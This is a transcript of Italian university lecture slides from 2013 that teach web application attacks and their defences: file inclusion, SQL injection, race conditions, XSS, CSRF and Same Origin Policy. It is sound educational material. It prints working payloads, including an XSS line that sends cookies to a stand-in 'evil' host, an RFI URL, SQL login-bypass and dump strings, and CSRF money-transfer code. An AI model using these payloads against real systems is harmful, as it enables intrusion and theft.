Srdan Matic Aristide Fattori ...security.di.unimi.it/sicurezza1314/slides/web2_handout.pdf ·...

57
Universit` a degli Studi di Milano Facolt` a di Scienze e Tecnologie Anno Accademico 2013/2014 Sicurezza delle applicazioni web: attacchi Srdan Matic <[email protected]> Aristide Fattori <[email protected]> 11 Dicembre 2013 Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 1 / 57

Transcript of Srdan Matic Aristide Fattori ...security.di.unimi.it/sicurezza1314/slides/web2_handout.pdf ·...

  • Universita degli Studi di MilanoFacolta di Scienze e TecnologieAnno Accademico 2013/2014

    Sicurezza delle applicazioni web: attacchi

    Srdan Matic Aristide Fattori

    11 Dicembre 2013

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 1 / 57

  • OWASP Top Ten (2013)

    1 Injection

    2 Cross-Site Scripting (XSS)

    3 Broken Authentication andSession Management

    4 Insecure Direct Object Reference

    5 Cross-Site Request Forgery(CRSF)

    6 Security Misconfiguration

    7 Insecure Cryptographic Storage

    8 Failure to Restrict URL Access

    9 Insufficient Transport LayerProtocol

    10 Unvalidated Redirects andForwards

    1 Injection

    2 Broken Authentication and SessionManagement

    3 Cross-Site Scripting (XSS)

    4 Insecure Direct Object Reference

    5 Security Misconfiguration

    6 Sensitive Data Exposure (InsecureCryptographic Storage + InsufficientTransport Layer Protocol)

    7 Missing Function Level AccessControl Failure to Restrict URLAccess

    8 Cross-Site Request Forgery (CRSF)

    9 Using Known Vulnerable Components

    10 Unvalidated Redirects and Forwards

    Fonte: http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 2 / 57

    http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdfhttp://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf

  • Command Injection

  • Command injection

    ogni linguaggio server-side mette a disposizione apposite funzioni pereseguire comandi (e.g., system(), exec(), popen())

    spesso nomi e parametri vengono passati a queste funzioni attraverso imetodi POST o GET

    i dati che lapplicazione riceve in input spesso non vengono sanitizzati (ola sanitizzazione non viene effettuata con sufficiente attenzione); questopuo portare a vulnerabilita

    Esempio: ultimo aggiornamento del file

    Altro esempio

    interpretazione dinamica di codice (e.g., eval($ GET[a]))

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 4 / 57

  • (L|R)FI: Local and Remote FileInclusion

  • (Local|Remote) File Inclusion

    ScenarioNumerose applicazioni ricorrono allinclusione dinamica e condizionaledi file; i file in questione possono essere locali o fare riferimento a risorseremote.

    es1 - CorrettoFILE: DB.php

    FILE: index.php

    es2 - Sbagliato

    FILE: it.php

    FILE: en.php

    FILE: index.php

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 6 / 57

  • File Inclusion - Exploiting I

    Nella slide precendete, in es2, avremo richieste del tipo:http://example.org/index.php?lang=......

    Local File Inclusionhttp://example.com/test.php?lang=/etc/passwd

    root:x:0:0:root:/root:/bin/bash. . .

    Remote File Inclusionhttp://evil.com/woot.txt

    http://example.com/test.php?lang=http://evil.com/woot.txt

    I can do whatever I want!

    RFI Esecuzione arbitraria di codice

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 7 / 57

    http://example.org/index.php?lang=http://example.com/test.php?lang=http://evil.com/woot.txthttp://example.com/test.php?lang=

  • File Inclusion - Exploiting II

    Possiamo utilizzare FI per leggere un file PHP? CERTAMENTE!Possiamo includere uno script remoto che legge il file e stampa il

    suo contenuto.

    ... ma se abbiamo a disposizione solo Local File Inclusion?CERTAMENTE!

    Possiamo affidarci ad alcune funzioni PHP meno conosciute.

    If URL fopen wrappers are enabled in PHP (which they are inthe default configuration), you can specify the file to be includedusing a URL (via HTTP or other supported wrapper - seeSupported Protocols and Wrappers for a list of protocols) insteadof a local pathname.

    http://www.php.net/manual/en/function.include.php

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 8 / 57

    http://www.php.net/manual/en/function.include.php

  • File Inclusion - Wrapper

    Wrapper Function

    file:// Accessing local filesystemhttp:// Accessing HTTP(s) URLsftp:// Accessing FTP(s) URLsphp:// Accessing various I/O streamszlib:// Compression Streamsdata:// Data (RFC 2397)glob:// Find pathnames matching patternphar:// PHP Archivessh2:// Secure Shell 2rar:// RARogg:// Audio streamsexpect:// Process Interaction Streams

    http://php.net/manual/en/wrappers.php

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 9 / 57

    http://php.net/manual/en/wrappers.php

  • File Inclusion - Wrapper

    php://filter

    php://filter is a kind of meta-wrapper designed to permit theapplication of filters to a stream at the time of opening. Ovveroprima che i dati vengano interpretati dallinterprete PHP.

    php://filter/read=a|b/resource=f i filtri a e b vengono applicati in fase dilettura del file fphp://filter/write=a|b/resource=f i filtri a e b vengono applicati in fase discrittura del file fphp://filter/a|b/resource=f i filtri a e b vengono applicati in sia in fase dilettura che di scrittura del filte f

    Esistono numerosi filtri: string.rot13, string.toupper,convert.base64-encode, bzip2.compress, ...

    http://www.php.net/manual/en/wrappers.php.php

    http://www.php.net/manual/en/filters.php

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 10 / 57

    http://www.php.net/manual/en/wrappers.php.phphttp://www.php.net/manual/en/filters.php

  • File Inclusion - Wrapper

    Come possiamo utilizzare i filtri con es2.php?

    http://example.org/es2.php?lang=php://filter/convert.base64-encode//resource=es2.php

    Warning: the suhosin patch blocca[va] RFI e lutilizzo diwrapper potenzialmente pericolosi

    http://lwn.net/Articles/479716/...The extension provides a whole host of other kinds of protections, largely against dodgy PHP programmingpractices. For example it protects against either remote or local code inclusion, which is one of the worstproblems that has plagued PHP applications. It can disable the eval() call, prevent infinite recursion by putting alimit on call depth, stop HTTP response splitting attacks, filter uploaded files by a variety of conditions, and onand on. While it obviously cant prevent all badly written PHP from running amok, its clear that the Suhosindevelopers have looked at a lot of common problems and tried to address them. ...

    E per quanto riguarda lesecuzione di codice arbitrario tramite LFI?

    http://goo.gl/qQA3X by gynvael

    http://goo.gl/s9LV4 by INSOMNIA

    http://goo.gl/rfTFi by CWH Underground

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 11 / 57

    http://goo.gl/qQA3Xhttp://goo.gl/s9LV4http://goo.gl/rfTFi

  • SQL Injection

  • SQL injection (SQLi)

    Scenario

    allintero del web 2.0 gran parte dei contenuto viene generatadinamicamente e i contenuti posso variare a secondadellutente (non registrato, registrato, admin, . . . )

    database

    SQLi: cause

    nessuna validazione dellinput

    le query generate dallapplicazione contengono inputproveniente dallutente

    I siamo in presenza di SQLi quando e possibile modificaresintassi (e semantica) di una query modificando i dati chevengono passati in input allapplicazione

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 13 / 57

  • SQL injection - Esempio

    $n = $ POST[name];$p = $ POST[pass];

    $result = mysql query( SELECT FROM users . WHERE name=$n AND pass=$p; );

    if(mysql num rows($result) > 0 ) {...

    }

    1 name = mario AND pass = xyz ... WHERE name=mario AND pass=xyz;

    2 name = admin AND pass = xyz OR 1=1 ... WHERE nome=admin AND passw=xyz OR 1=1;

    Quante righe otteniamo in output? Cosa contengono le righe dioutput?

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 14 / 57

  • SQLi: sink

    Input dellutente

    parametri GET/POST

    informazioni trasmesse al server da applicazioni come: Flash,applet Java, AJAX

    HTTP Header

    tutti gli header devono essere considerati comepotenzialmente pericolosi

    User-Agent, Referer, . . . possono venire modificati edutilizzati a questo scopo . . .

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 15 / 57

  • SQLi: sink

    Cookie

    fanno ancora parte degli header

    i Cookie provengono dal client e devono essere trattati comepotenzialmente pericolosi

    Il database stesso: second order injection

    i dati passati in input allapplicazione sono memorizzatiallinterno del database

    in seguito, gli stessi dati in input vengono prelevati daldatabase e utilizzati per costruire una successiva query possibile pericolo

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 16 / 57

  • SQLi: obiettivi e metodologie

    Obiettivo Metodologia

    identificare i parametri su cuie possibile fare injection

    troviamo i sink

    database footprinting capire quale DMBS viene utilizzato; inap-propriata gestione degli errori

    individuare lo schema del DB nomi delle tabelle, nomi delle colonne, tipidelle colonne, privilegi degli utenti

    estrazione di informazioni dump dellintero DB

    modifica di informazioni utilizzo di INSERT, UPDATE e DELETE nellequery

    DoS non consentire lautenticazione di un utentelegittimo (LOCK, DELETE, . . . )

    authentication bypass bypassare i meccanismi di autenticazionedellapplicazione

    remote command execution esecuzione di comandi non messi adisposizione in orgine del DBMS

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 17 / 57

  • SQLi esempi: authentication bypass tramite tautologia

    1 query:

    $q = SELECT id FROM utenteWHERE user= .$user. AND pass= .$pass. ;

    2 parametri inviati allapplicazione:

    $user = admin;$pass = OR 1=1;

    3 conseguente query che viene generata ed eseguita:

    $q = SELECT id FROM utenteWHERE user=admin AND pass= OR 1=1 ;

    I se linput fosse stato adeguatamente sanitizzato (e.g.,mysql escape string()):

    $q = SELECT id FROM utenteWHERE user=admin AND pass= \ OR \\=\ ;

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 18 / 57

  • SQLi esempi: altri usi di tautologie

    scelta blind del primo utente disponibile

    $pass = OR 1=1 # ;$q = SELECT id FROM utente WHERE user= AND pass= OR 1=1 \# ;

    $user = OR user LIKE % # ;$q = SELECT id FROM utente WHERE user= OR

    user LIKE \% \# AND pass= ;

    $user = OR 1 # ;$q = SELECT id FROM utente WHERE user= OR 1 \# AND pass= ;

    scelta di uno specifico utente

    $user = admin OR 1 # ;$q = SELECT id FROM utente WHERE user=admin OR 1 \# AND pass= ;

    $user = admin # ;$q = SELECT id FROM utente WHERE user=admin \# AND pass= ;

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 19 / 57

  • SQLi attacchi: UNION query

    query:

    $q = SELECT id, nome, prezzo, descrizione .FROM prodotto WHERE categoria= . $ GET[cat];

    query in seguito alla injection:

    $cat = 1 UNION SELECT 1, user, 1, pass FROM utente;

    attenzione: il numero ed il tipo delle colonne restituite inoutput dalle due query SELECT deve essere lo stesso!

    MySQL: se due tipi non corrispondono... viene effettuato uncast.

    $cat = 1 UNION SELECT 1, 1, user, pass FROM utente;

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 20 / 57

  • SQLi attacchi: second order injection

    per portare a buon fine lattacco, come primo passoregistriamo un utente con caratteristiche particolari

    $user = admin #;

    la stringa $user viene correttamente sanitizzata prima divenire inserita nel database

    in un secondo momento, lattaccante utilizza la routine percambiare la password allutente registrato precedentemente; aquesto fine lapplicazione preleva i dati memorizzati nel DB eli utilizza per generare una seconda query :

    $q = UPDATE utente SET pass= . $ POST[newPass] . WHERE user= . $row[user] . ;

    se i dati provenienti dal database non vengono sanitizzaticorrettamente, posso verificarsi comportamenti indesiderati,come:

    $q = UPDATE utente SET pass=password WHERE user=admin # ;

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 21 / 57

  • SQLi attacchi: piggy-backed query

    Obiettivo

    ottenere lesecuzione di un numero arbitrario di query differenti

    query:

    $q = SELECT id FROM utente WHERE user= . $user . AND pass= . $pass . ;

    dati inviati allapplicazione:

    $user = ; SELECT FROM utente ;

    query che verre eseguita:

    $q = SELECT id FROM utente WHERE user= ;SELECT FROM utente AND pass= ;

    entrambe le query vengono eseguite!

    Attenzione: vulnerabilita di questo tipo dipendono strettamentedai metodi/funzioni utilizzate per effettuare la query.

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 22 / 57

  • SQL InjectionAdvanced Techniques

  • SQLi: information schema

    Cosa facciamo se abbiamo scovato una SQLi, ma non sappiamo inomi delle tabelle o quelli delle singole colonne?

    Possiamo provare ad utilizzare un approccio brute-force(buona fortuna!)

    . . . possiamo altrimenti fare affidamento su caratteristiche diMySQL

    INFORMATION SCHEMA

    Table Name Description

    COLUMNS Information on columns name, . . .

    TABLES Information on tables name, . . .

    COLUMN PRIVILEGES Information on privileges

    TABLE PRIVILEGES Information on privileges

    SCHEMATA Information on all databases

    . . . . . .

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 24 / 57

  • SQLi: information schema

    INFORMATION SCHEMA.TABLES

    Column Description

    TABLE SCHEMA DB to which the table belongs

    TABLE NAME Name of the table

    TABLE ROWS Number of rows in the table

    . . . . . .

    INFORMATION SCHEMA.COLUMNS

    Column DescriptionTABLE NAME Name of the table containing this column

    COLUMN NAME Name of the column

    COLUMN TYPE Type of the columns

    . . . . . .

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 25 / 57

  • SQLi: information schema esempio

    Query:$id = $ GET[id];$q = SELECT username FROM utenti WHERE user id = $id ;

    Passo 1: estrapoliamo il nome della tabella:

    $id = 1 UNION SELECT table nameFROM INFORMATION SCHEMA.TABLESWHERE table schema != mysql ANDtable schema != information schema ;

    Passo 2: estrapoliamo i nomi delle singole colonne

    $id = 1 UNION SELECT column nameFROM INFORMATION SCHEMA.COLUMNSWHERE table name = utenti LIMIT 0,1;

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 26 / 57

  • Blind SQLi

    $q = SELECT colonna FROM example WHERE id = . $ GET[id];$res = mysql query($q);if(!$res) {

    die(error);} else {

    // Le informazioni vengono memorizzate localmente sul server,// ma al client NON viene visualizzato nessun output

    }

    Come fare per sfruttare la vulnerabilita?

    Il codice mostrato sopra e indubbiamente vulnerabile a SQLi, manon mostrera mai loutput ottenuto in seguito alle injection.

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 27 / 57

  • Blind SQLi - exploiting

    MySQL mette a disposizione moltissime funzionalita che possiamoutilizzare per sfruttare una SQLi.

    1 BENCHMARK

    BENCHMARK(loop count, expression)

    2 IF

    IF(expression, expr true, expr false)

    3 SUBSTRING

    SUBSTRING(str, pos)SUBSTRING(str, FROM pos)SUBSTRING(str, pos, len)SUBSTRING(str, FROM pos, FOR len)

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 28 / 57

  • Blind SQLi - exploiting

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 29 / 57

  • Blind SQLi - exploiting

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 30 / 57

  • Blind SQLi - exploiting

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 31 / 57

  • Blind SQLi - pseudo-codice

    Tocca a voi!

    Utilizzando il template in /var/www/blind/blind template.pyrealizzare il codice che dalla tabella example (database: test)recupera il valore valore della colonna colonna associata allid 1.

    #!/usr/bin/env pythonimport MySQLdbfrom time import sleep, time

    def connect and create cursor():conn = MySQLdb.connect(host=localhost, user=root, passwd=root, db=test)curs = conn.cursor()return conn, curs

    def exec query(curs, query):curs.execute(query)

    if name == main :# crea connessione e cursore per il databaseconn, curs = connect and create cursor()query = SELECT colonna FROM example# esegue una querycurs.execute(query) # ... in alternativa > exec query(curs, query)

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 32 / 57

  • MySQL: operazioni sui file

    Query vulnerabile:$q = SELECT username FROM utenti WHERE user id = $id ;

    1 Lettura:

    $id = 1 UNION SELECT load file(/etc/passwd) ;

    2 Scrittura:

    $id = 1 UNION SELECT ciao into outfile /tmp/ciao ;

    Note:1 se lutente non ha lapposito permesso FILE allinterno del

    database/tabella le operazioni di lettura/scrittura file nonandranno a buon fine

    2 load file restituisce NULL se non termina correttamente

    3 into outfile genera un MySQL ERROR se non terminacorrettamente

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 33 / 57

  • MSSQL: stored procedure

    MSSQL mette a disposizione oltre un migliaio di storedprocedure per effettuare particolari operazioni

    xp cmdshell consente lesecuzione di comandi

    esempi:

    ; EXEC master..xp cmdshell dir c:

    ; EXEC master..xp cmdshell ping google.com

    E in Linux...

    Possiamo eseguire comandi shell allinterno di MySQL?

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 34 / 57

  • SQLi: come difendersi

    e compito dei programmatori evitare che siano presenti SQLinel codice dellapplicazione

    spesso i programmatori utilizzano metodo automagic (adesempio, in PHP, magic quotes gpc effettua lescape tramitela routine addslashes())

    come fare la sanitizzazione dipende strettamente dal tipo diattacco dal quale ci vogliamo proteggere

    luso di espressioni regolari ad-hoc e fortemente sconsigliato

    miglio approccio: utilizzare mysql real escape string()

    se in input ci si aspetta un numero... controllare che il valorericevuto e effettivamente un valore numerico

    . . . tenete a mente che e possibile costruire stringhe particolarianche senza ricorrere agli apici (AAA char(65,65,65))

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 35 / 57

  • Race vulnerabilities nelleapplicazioni web

  • Concorrenza allinterno delle applicazioni webSingle request

    web browser1

    web server

    page request

    interpreter

    script

    spawn new worker

    DB query

    web browser2

    page request

    interpreter

    script

    spawn new worker

    query

    concurrent DB access

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 37 / 57

  • Concorrenza allinterno delle applicazioni web

    le applicazioni web sono solitamente composte da una serie discript, ciascuno dei quali effettua una serie predefinita di tasksequenziali

    spesso questi script hanno bisogno di accedere a risorsecondivise (es. database)

    istanze multiple di uno script potrebbero venire eseguitecontemporaneamente

    Problema

    I programmatori web non percepiscono le loro applicazioni comeentita multi-thread o multi-processo

    parallelismo non previsto puo portare a interazioni inattese trai vari script

    questo parallelismo puo venire controllato client-side

    le primitive di sincronizzazione vengono utilizzate di rado

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 38 / 57

  • Concorrenza allinterno delle applicazioni web - esempio

    1 $res = mysql_query(SELECT credit FROM Users WHERE id=$id);

    2 $row = mysql_fetch_assoc($res);

    3 if($row[credit] >= 800) {

    4

    5 $new_credit = $row[credit] - 800;

    6 $res = mysql_query(UPDATE Users SET credit=$new_credit .

    WHERE id=$id);

    }

    P1 P2Line Data Line Data

    2 (id: 123, credit: 1000) 4 (id: 123, credit: 1000) 1 4 (id: 123, credit: 1000) 2 (id: 123, credit: 1000)5 (id: 123, credit: 1000) 4 (id: 123, credit: 1000)

    DatabaseID Credit

    50 250092 820123 200205 1200. . . . . .

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 39 / 57

  • DEMOhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32

    Seconda parte

    http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32

  • Client side attacks

  • Attacchi client-side

    I sfruttano la fiducia che un utente ha di un sito web (XSS), oviceversa (CSRF)

    1 lattaccante e in grado di modificare la pagina HTMLoriginale, aggiungendo codice (HTML o JavaScript)

    2 la vittima si collega al server vulnerabile che restituisce lapagina modificata (e.g., link in e-mail, IM, link sulla rete)

    3 il browser interpreta il codice iniettato dallattaccante

    Obiettivi dellattacco

    sniffing di cookie associati al dominio vulnerabile

    manipolazione form di login

    esecuzione di GET/POST addizionali

    . . . qualunque cosa si possa fare con HTML + JavaScript!

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 42 / 57

  • Cross-Site Scripting (XSS)

    Obiettivo

    accesso non autorizzato ad informazioni presenti sul client

    attacco basato sulla mancanza di controlli sullinput

    alterazione della pagina web originale, con aggiunta di codiceJavaScript o HTML

    il browser del client, fidandosi del server web, interpreta lapagina modificata

    molto (troppo. . . ) diffusi!

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 43 / 57

  • Reflected Cross-Site Scripting - Esempio

    http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php

    1 pagina PHP lato server:

    Benvenuto

    2 link inviato alla vittima:

    http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/

    xss_test.php?inject=document.location=http://evil/

    log.php?+document.cookie

    3 richiesta HTTP creata dal browser della vittima:

    GET /xss_test.php?inject=%3Cscript%3Edocument.location%3D%27ht

    tp%3A%2F%2Fevil%2Flog.php%3F%27%2Bdocument.cookie%3C%2Fscript%3E

    Host: gamebox.laser.di.unimi.it

    ...

    4 HTML generato dal server:

    Benvenuto document.location=

    http://evil/log.php?+document.cookie

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 44 / 57

    http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php

  • Reflected Cross-Site Scripting

    1 una pagina dinamica e vulnerabile a XSS

    2 utente indotto ad accedere alla pagina vulnerabile

    3 exploit contenuto nellURL

    Offuscamentotecniche di encoding

    nascondere il link con lexploit dalla barra di stato

    un link innocuo effettua un redirect (HTTP 3xx)

    Esempi di offuscamento:

    Urlencoding: http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%

    74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3E

    Avoiding tag : http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=

    Dynamic evaluation:http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?

    inject=eval(String.fromCharCode(97,108,101,114,116,40,39,

    99,105,97,111,39,41,59))Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 45 / 57

    http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3Ehttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3Ehttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%63%69%61%6F%27%29%3B%3C%2F%73%63%72%69%70%74%3Ehttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=eval(String.fromCharCode(97,108,101,114,116,40,39,99,105,97,111,39,41,59))http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=eval(String.fromCharCode(97,108,101,114,116,40,39,99,105,97,111,39,41,59))http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/xss_test.php?inject=eval(String.fromCharCode(97,108,101,114,116,40,39,99,105,97,111,39,41,59))

  • Stored Cross-Site Scripting

    Fase 1

    lattaccante invia al server il codice da iniettare

    il server memorizza in modo persistente il codice (e.g.,database)

    Fase 2

    il client si collega al server

    il server genera la pagina inserendo anche il codice iniettato

    Osservazioni

    tutti gli utenti che richiederanno la pagina subiranno lattacco

    il codice iniettato non e visibile in un URL

    molto piu pericoloso rispetto ai reflected!

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 46 / 57

  • Cross-Site Request Forgery (CSRF)

    Obiettivo

    far eseguire delle azioni alle vittime, sfruttando le loro credenziali(e.g., cookie di sessione)

    tramite JavaScript non e possibile accedere ai cookie di unaltro dominio

    CSRF e possibile anche senza XSS

    CSRF reflected e stored

    samy is my hero virus JavaScript che sfrutta CSRF

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 47 / 57

  • Stored CSRF (GET)Esempio

    1 la vittima si collega a http://www.mia-banca.it/ e siautentica

    2 la vittima apre unaltra istanza del browser (tab o finestra) esi collega ad un sito maligno

    3 la pagina maligna contiene:

    4 il browser crea una richiesta HTTP con il il Cookieappropriato. . .

    Osservazioni

    tramite JavaScript e possibile creare richieste GET/POST

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 48 / 57

    http://www.mia-banca.it/

  • Stored CSRF (POST)Esempio

    1 la vittima si collega a http://www.banca-vulnerabile.ite si autentica

    2 la vittima richiede una pagina da un sito maligno

    3 server maligno restituisce:

    var http = false; var body = to=1337&amount=10000;http = new XMLHttpRequest();http.onreadystatechange = handleResponse;http.open(POST, http://www.bancavulnerabile.it/trasferisci.php, true);http.setRequestHeader(Contenttype, application/xwwwformurlencoded);http.setRequestHeader(Contentlength, body.length);http.send(body);function handleResponse() { .... }

    4 per banca-vulnerabile, la richiesta e indistinguibile da unalecita

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 49 / 57

    http://www.banca-vulnerabile.it

  • Stored CSRFEsempio real-world

    Il likejacking su Facebook e un CSRF.

    Passo 1: la vittima clicca un link interessante postato da un suo amico

    Passo 2: la pagina richiede un click per avviare il video

    Vediamo i sorgenti

    Vediamo i sorgenti

    Sorgenti deoffuscati

    Tra le altre cose, il codice JS inserisce un iframe trasparente nella pagina

    Passo 3: la vittima clicca e automaGicamente la pagina viene likata

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 50 / 57

  • XSS/CSRF: Contromisure

    Lato client

    reflected XSS: se lattacco e visibile nella URL puo esserefacilmente evitato passando dalla root del dominio

    estensioni per Firefox: NoScript

    non visitare altri siti quando utilizza il conto on-line, effettuaresempre il logout

    Lato server

    linput va sempre considerato insicuro, vanno applicate lecorrette funzioni di sanitizzazione (e.g., htmlspecialchars())

    Per CSRF:

    CAPTCHA, PIN da inserire per ogni transazione importanteparametri nascosti (e.g., campi hidden) passati tra le variepagine dellapplicazione

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 51 / 57

  • Same Origin Policy

  • Same Origin Policy - Scenario

    Il browser invia la richiesta a google.com, comprensiva di cookie

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 53 / 57

  • Same Origin Policy - Esempio

    Dal punto di vista di un attacker:possiamo vedere la pagina renderizzata allinterno delliframe e,

    quindi, navigare su google.com come lutente che sta visitando lanostra pagina, sfruttando i suoi cookie?

    Proviamo!document.getElementById(1)

    document.getElementById(1).innerHTML

    document.getElementById(1).contentWindow.document.body.innerHTML

    http://www.w3schools.com/jsref/prop_frame_contentwindow.asp:

    The contentWindow property returns the Window object generated by an iframe element (through the window

    object, you can access the document object and then any one of the documents elements).

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 54 / 57

    http://www.w3schools.com/jsref/prop_frame_contentwindow.asp

  • Same Origin Policy

    Alcune applicazioni WEB mettono a disposizione API chepermettono di interagire con esse anche a applicazioni di terzeparti, tramite HTTP (e.g., usando JSON, AJAX o entrambi).

    Come puo funzionare?

    Per far si che queste API funzionino, e necessario che la SameOrigin Policy sia disattivata dal server che mette a disposizione leAPI o che sia quantomeno resa piu flessibile (e.g.: permettererichieste solo a alcune pagine, solo da alcuni domini, . . . )

    Come disabilitare

    http://www.w3.org/TR/cors/

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 55 / 57

    http://www.w3.org/TR/cors/

  • Same Origin Policy - Esempio

    var http = false; var body = ;http = new XMLHttpRequest();http.onreadystatechange = handleResponse;http.open(GET, URL, true);http.send(body);

    function handleResponse(){

    if(http.readyState == 4)if(http.status == 200)

    alert(http.responseText);}

    1 Local request:http:

    //gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_local.html

    2 Remote request:http:

    //gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote.html

    3 Allowed remote request:http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote_

    allowed.html

    joystick@arya:~$ nc security.di.unimi.it 80

    GET /joystick/test CORS.php HTTP/1.1

    Host: security.di.unimi.it

    HTTP/1.1 200 OK

    Date: Wed, 10 Dec 2013 12:23:21 GMT

    Server: Apache/1.3.34 ...

    X-Powered-By: PHP/4.4.4-8+etch4

    Access-Control-Allow-Origin: *

    Access-Control-Allow-Methods: GET, POST, OPTIONS

    Transfer-Encoding: chunked

    Content-Type: text/html; charset=iso-8859-1

    ...

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 56 / 57

    http://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_local.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_local.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote_allowed.htmlhttp://gamebox.laser.di.unimi.it/aa1314_sec2_web0x32/test_remote_allowed.html

  • Same Origin PolicySecurity

    Il server potrebbe dare la possibilita di accedere a informazioniriservate

    Il browser dellutente potrebbe non implementarecorrettamente SOP e permettere richieste cross-domain nonpreviste

    Lenforcement di SOP in altri linguaggi client-side (e.g., Flash,Java, . . . ) e effettuato dagli interpreti non dal browser aumenta la possibilita di BUG

    Srdjan Matic, Aristide Fattori web - attacchi 11 Dicembre 2013 57 / 57

    IntroduzioneEsempiTecniche d'attacco

    Attacchi client-side: CSS e CSRFCross-Site ScriptingCross-Site Request Forgery